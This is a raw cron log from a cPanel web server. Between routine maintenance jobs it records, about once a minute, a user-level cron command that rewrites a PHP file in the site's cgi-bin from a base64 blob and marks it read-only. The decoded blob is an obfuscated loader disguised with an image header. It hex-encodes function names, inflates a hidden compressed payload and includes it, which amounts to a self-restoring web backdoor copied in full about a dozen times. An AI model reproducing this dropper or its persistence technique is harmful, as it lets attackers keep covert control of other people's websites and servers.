Sep 11 19:08:01 server CROND[7038]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 19:08:01 server CROND[7039]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 19:09:01 server CROND[7425]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 11 19:09:01 server CROND[7426]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 19:09:01 server CROND[7427]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 19:09:01 server CROND[7428]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 19:10:01 server CROND[7817]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 11 19:10:01 server CROND[7818]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 11 19:10:01 server CROND[7821]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 11 19:10:01 server CROND[7823]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 19:10:01 server CROND[7824]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 19:10:01 server CROND[7820]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 19:10:01 server CROND[7825]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 19:10:01 server CROND[7822]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 19:11:01 server CROND[8657]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 19:11:01 server CROND[8656]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 19:11:01 server CROND[8658]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 19:12:01 server CROND[9036]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 19:12:01 server CROND[9038]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 19:12:01 server CROND[9035]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 11 19:12:01 server CROND[9037]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 19:13:01 server CROND[9415]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 19:13:01 server CROND[9416]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 19:13:01 server CROND[9417]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 19:14:01 server CROND[9893]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 19:14:01 server CROND[9894]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 19:14:01 server CROND[9892]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 19:15:01 server CROND[10355]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 19:15:01 server CROND[10357]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 11 19:15:01 server CROND[10358]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 19:15:01 server CROND[10361]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 19:15:01 server CROND[10362]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 19:15:01 server CROND[10360]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep 11 19:15:01 server CROND[10363]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 11 19:15:01 server CROND[10359]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 19:16:01 server CROND[11207]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 19:16:01 server CROND[11208]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 19:16:01 server CROND[11209]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 19:17:01 server CROND[11585]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 19:17:01 server CROND[11586]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 19:17:01 server CROND[11587]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 19:18:01 server CROND[11998]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 19:18:01 server CROND[11999]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 19:18:01 server CROND[12000]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 19:19:01 server CROND[12509]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 19:19:01 server CROND[12510]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 19:19:01 server CROND[12511]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 19:20:01 server CROND[12983]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 11 19:20:01 server CROND[12986]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
